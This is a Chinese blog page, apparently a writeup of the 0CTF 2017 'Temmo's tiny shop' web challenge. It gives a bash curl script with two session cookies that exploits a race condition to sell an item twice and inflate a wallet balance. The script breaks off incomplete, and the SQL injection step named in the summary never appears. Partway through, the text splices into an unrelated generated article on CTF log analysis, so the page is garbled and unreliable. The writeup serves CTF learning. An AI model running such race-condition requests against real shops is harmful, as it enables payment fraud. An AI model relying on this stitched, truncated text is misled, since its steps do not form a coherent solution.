Writeup for 0CTF2017 web

本文详细介绍了2017年0CTF中Temmo’s tinyshop挑战的解题过程,包括利用race condition漏洞增加用户余额、通过SQL注入获取flag等关键步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


2017年0CTF,WEB部分题目的Writeup。


Temmo’s tiny shop

本题首先要获取!HINT!,但是初始钱包里只有4000,而HINT要价8000,此处使用条件竞争(race condition)这一漏洞来提升wallet的数值。利用两个浏览器登录同一账号,使用两个COOKIE来同时进行售卖的动作,则会进行两次售卖动作。bash代码如下

#!/bin/bash
cookie1="PHPSESSID=m19tgi4tq3eptm53pss14dc910"
cookie2="PHPSESSID=39083e7nft6kbvkjvph29socb0"

url="http://202.120.7.197/app.php"

curl "$url?action=buy&id=2" -b $cookie1
curl "$url?action=sale&id=2"
CTF比赛中,日志分析是一项关键技能,尤其是在Web安全、取证(Forensics)和逆向工程类题目中。通过分析服务器日志、应用程序日志或网络流量日志,选手可以发现潜在的攻击路径、异常请求、上传文件记录、用户行为等重要信息。以下是一些常见方法和技术: ### 日志类型与获取方式 1. **Apache/Nginx访问日志** 在Web类题目中,常常会提供`access.log`或`error.log`文件供分析。这些日志记录了每次HTTP请求的时间、客户端IP、请求方法、URL路径、响应状态码、User-Agent等信息。例如: ``` 192.168.1.1 - - [07/Nov/2024:12:34:56 +0000] "GET /index.php HTTP/1.1" 200 "-" "Mozilla/5.0" ``` 这类日志可以通过工具如 `Apache Logs Viewer` 或直接使用命令行工具(如`grep`, `awk`, `cat`)进行分析[^2]。 2. **系统日志** Linux系统通常使用`/var/log/`目录下的日志文件,例如`auth.log`、`syslog`等,用于记录系统事件、登录尝试、服务运行状态等信息,对排查非法访问具有重要意义。 3. **应用日志** Web应用框架(如Django、Flask、Spring Boot)通常会有自定义的日志输出格式,可能包含调试信息、数据库操作、错误堆栈等,有助于理解程序执行流程。 --- ### 日志分析技巧 - **过滤特定关键词** 使用`grep`命令快速筛选出包含特定关键字的日志条目,例如查找所有上传请求: ```bash grep 'uploads' access.log ``` - **按状态码筛选请求** 查找返回200(成功)或404(未找到)的请求,可以帮助识别正常访问路径或隐藏资源: ```bash grep ' 200 ' access.log ``` - **提取IP地址与时间戳** 结合`awk`可以提取访问来源IP和时间信息,便于追踪可疑行为: ```bash awk '{print $1, $4}' access.log | sort | uniq -c ``` - **自动化脚本处理** 对于大规模日志数据,可以使用Python编写脚本来解析并分析日志内容。例如下面的代码片段可用来查找包含上传路径且状态为200的PHP或ASP请求记录[^4]: ```python with open('access.log', 'r') as file: lines = file.readlines() for line in lines: if "uploads" in line and "200" in line: if "php" in line or "asp" in line: print(line) ``` --- ### 常用工具推荐 - **ctflog** 由Virink开发的开源项目`ctflog`是一个专为CTF选手设计的比赛日志管理平台,支持记录比赛过程、解题思路、Writeup整理等功能,提升团队协作效率[^1]。 - **LogParser** Microsoft出品的日志分析工具,适用于结构化日志的查询与统计,尤其适合Windows环境下的IIS日志分析。 - **ELK Stack(Elasticsearch + Logstash + Kibana)** 虽然主要用于企业级日志分析,但在大型CTF比赛中也可用于集中管理和可视化日志数据。 --- ### 实战场景举例 假设在一个CTF题目中,提示“seelog”,可以尝试在目标网站根路径后直接添加`/log`或`/logs`查看是否存在日志泄露问题。若存在`access.log`文件,下载后分析其中的访问记录,寻找可疑的上传行为或敏感路径访问痕迹,进而定位flag所在位置[^3]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值